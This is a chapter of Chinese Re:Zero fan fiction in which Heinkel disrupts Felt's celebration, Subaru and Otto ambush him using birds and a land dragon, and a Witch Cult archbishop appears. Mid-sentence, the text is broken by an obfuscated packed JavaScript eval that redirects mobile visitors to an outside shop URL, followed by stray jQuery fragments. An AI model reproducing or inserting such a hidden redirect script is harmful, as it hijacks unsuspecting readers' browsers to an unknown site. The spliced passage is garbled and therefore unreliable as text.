“哦,国王……哈哈哈哈笑掉大牙了,王国知道你私底下自称[国王]吗?剑圣?”

    有道声音横生枝节,喝了没两斤说不出这种醉话,对方卷曲大舌头,声音里满满醉意,从酒馆边缘坐起来红发男人。

    庆典戛然而止。

    菲鲁特冷淡地看了一眼,说:“我可不记得,我邀请过不请自来的人?”

    “海因克尔。”

    奥托认出了大名鼎鼎的骑士团副团长,海因克尔·阿斯特雷亚,他还有一个更广为人知的名号——[剑圣]的父亲。身为长者却以自己儿子的名声闻名,本身是个爱喝酒的混子,多亏阿斯特雷亚家的传承和儿子的面子才当上副团长,就是这样的人物。

    海因克尔觍着脸出现在众人眼前,没什么羞耻心地说:“真敢说啊,小姑娘。你应该明白,身为阿斯特雷亚家主的我,并没有同意支持你成为王选候选人吧。”

    奥托小声说:“真糟糕,这在政治上是很不利的情况呀……”

    菜月昴凑到奥托身旁听,同样小声问:“什么?”

    奥托压低声音:“莱茵哈鲁特并未拿到家族继承权,他是以个人名义支持菲鲁特小姐。嘛……虽然剑圣的名头已经很够用了,但如果没有家族支持,对做国王来说,很不利。”

    “和贵族打好关系是国王的第一门槛,菲鲁特小姐会需要至少一系贵族作为后盾、以及作为敲门砖,打入贵族社交层。”

    奥托博学地说。

    “哦……”菜月昴大致记了记笔记。

    海因克尔打了个酒嗝,不怀好意地对剑圣笑起来:“怎么了?见父亲关心你的近况,你不开心?”

    莱茵哈鲁特神情复杂,轻轻叹气:“父亲。”

    海因克尔今天来只是为了第一件事,打压儿子,最近莱茵哈鲁特倒是很得意,擅自支持王女参选都没有和他说,交到的所谓朋友,也不过是为了利用剑圣的强大实力,海因克尔格外唾弃地瞥了眼菜月昴,心里很是看不上。第二件事,示威。

    向这个莫名其妙冒出来的菲鲁特阵营示威,展示他作为家主的权力。

    红发中年男人出现胡搅蛮缠一通,目的就是为了把所谓朋友为他儿子准备的庆祝会搞得一团糟。

    “副团长……”菲利斯维持礼节笑着,阴沉地出现在海因克尔脸侧。

    猫猫竖起来的瞳孔收缩成一点,看向对方说:“看起来打扰各位兴致的人,是你呢~”

    “我?”海因克尔举起双手,散漫地说,“一群扮家家酒游戏的小孩子,呵呵,谁在乎。”

    放下阿斯特雷亚家不准备支持菲鲁特的大话,这名男人转身欲走了,踱着得意的步子。

    拥有和剑圣相似的红发,却分毫没有剑圣的德行。

    “等等。”

    菲鲁特站在了高大的海因克尔对面,不疾不徐地说:

    “副团长,你有什么见教吗?”

    本想越过菲鲁特,再拿走两瓶宴会的酒的海因克尔僵在原地,没料到小丫头片子敢和他呛声,没有阿斯特雷亚家的支持,王女也不过是个出身贫民窟血统不知道是不是纯正的小丫头。至于其他的人,菲利斯所属骑士团,对他这名副团长怎么都要几分尊重。

    预想之中,海因克尔放过狠话,又将酒会搅得进行不下去,就可以扬长而去了。

    菲鲁特挑了挑唇角,挑衅般说:“莱茵哈鲁特,把这位不礼貌的来宾清出去~”

    原本身份立场处于矛盾的莱茵哈鲁特,因为这句话总算打破了父子之间的道德桎梏,微笑说是。海因克尔露出惊恐的表情,仿佛面对的不是自己儿子,而是可怕存在:“不,不,莱茵哈鲁特,你不能这么对我。”

    主君的命令大于父亲。

    莱茵哈鲁特微微笑了笑,表示:“综上所述,副团长,我只好对您动粗了。”

    海因克尔挣扎着被剑圣架住手臂拖了出去。

    莱茵哈鲁特当然不会让他的父亲,拿走朋友们的酒。至于对方所说,不会支持菲鲁特,不能和自己的父亲站在同一阵营,实在是令人遗憾的事。

    但莱茵哈鲁特也早有所料。

    ……

    “啊!不行!!越想越气了!”奥托有种欲自挂东南枝的淡淡绝望。

    奥托抱头:“为什么我总是倒霉的这一个?好不容易加入了贵人的阵营,以为自己的人生即将走上坦途,结果阵营却遇到这种事。”

    菜月昴认可地点了点头:“是啊,海因克尔对莱茵哈鲁特太过分了。”

    “那是他的儿子啊,”菜月昴不可思议地敲了敲头,百思不得其解剑圣的家人,怎么对他都这种态度,“不过,我也不是第一次见……”

    之前还有剑鬼那次。

    “就是说啊!”奥托崩溃地喊。不过他更崩溃的对象,显然是自己再次往下坡路踩了脚油门的人生。

    两个达成一致的狐朋狗友,勾肩搭背,互相试探,眼神互换。

    “难道说?”

    “你也??”

    在王都的大街上,巷道里钻出一个人。

    酒鬼喝得烂醉,嘟哝:“呵,到底不过是小鬼,自以为是为朋友出头,实则是把自己架在火上烤……”

    海因克尔尽管是骑士团副团长,但团内事务有团长,外派高危任务有剑圣,没他什么事。

    在执勤的日子当街瞎逛,喝得烂醉如泥走入骑士团办公。

    对海因克尔也是司空见惯的事。

    街道两丛绿化带的灌木,毛茸茸绿团子后面躲了两个人,因为空间有限,两人互相挤着。

    多亏菜月昴和奥托体型都偏瘦才挤得下。

    奥托说:“菜月先生,你踩到我脚了……”

    菜月昴顿了下,眼睛在看着前面:“啊?哦。”

    应声把脚挪开。

    奥托观察了海因克尔一会,弱弱地说:“菜月先生,这样不太好吧。”

    所以说,奥托这个人很奇怪,做之前明明兴奋计划,实操的时候又开始顾首顾

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17729990|207800||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    尾,犹豫不敢操作。

    菜月昴看了会对方的绿帽,无语了,心想那他单干吧。

    奥托盯着菜月昴的脸思考了一会,握拳砸手,从旁边拿来个木桶扣在了菜月昴脑袋上。

    然后奥托如圣人般光辉地流露笑容:“现在可以了。”

    ……你的重点是做坏事不能被认出来是吗?!

    “这不是去骑士团的方向。”

    “的确。”

    两个人观察了一会海因克尔的表现,交换猜想,奥托说:“果然和我想的一样,他突然出现在酒会划清界限,是有人授意的。”

    菜月昴接着想道:“那他现在,是去找那个合作者汇报复盘吗?”

    奥托紧张地搓手:“没准是商量下步对付我们的计划。”

    这不行……

    菜月昴和奥托点了点头,那就按原计划走吧。

    说实话,菜月昴还有点勉为其难,他是好孩子,没做过这种事啊。但是把对方当做作战目标的话,还是可以按计划执行。

    菜月昴打了个呼哨,远处有帕特拉修得到指令跑过来。

    海因克尔再怎么烂醉也是王国骑士团的骑士,单地龙是奈何不了他的。

    于是奥托忽然压低声线,发出非人类语言的声音,[言灵的加护]

    他和动物朋友关系还不错……

    天空出现黑压压的鸟群,遮天蔽日如一朵乌云般掠过。

    白色的雨,倾泻而下。

    要知道鸟的肠道是非常短的,并且不太能管住□□——

    “什、什么???”

    海因克尔立刻意识到来者不善,可是从天空倾泻而下的鸟屎,让他用剑去挡也是很嫌弃的。

    就是这瞬间的分神,海因克尔不得不瞪大双眼,有一头地龙竟然向他冲了过来。

    他失去平衡,醉得不轻。

    转眼间就被帕特拉修冲撞,带离了王城,这样只要奥托和菜月昴继续在原地等待,就有可能见到海因克尔的指使者。

    幕后是谁推动了这一系列事情?

    作战大成功。

    菜月昴和奥托击了击掌,对视片刻,同时别过头:

    “哎,就是……我们没有体面一点的办法吗?”

    和平王都的地面多了些白色马赛克之物。

    “没有……”“没有呢。”

    菜月昴头疼地想,只要有用就好了,有时候挑拣手段,还不如简单直白的好用。

    菜月昴在原地等了一会,还没有等到海因克尔的接头人出现。

    远处遥遥响起钟声。

    铛。铛。

    “先生,女士!来宾!我,在此隆重介绍,魔女教大罪司教[愤怒],在这里为各位带来福音~”一个形貌张狂的女人站在高处大喊,演讲,立刻吸引了菜月昴和奥托的注意。

    菜月昴想,现在魔女教的活动都这么张扬了吗,居然在城内公然传播福音……

    ……

    他得去看一看。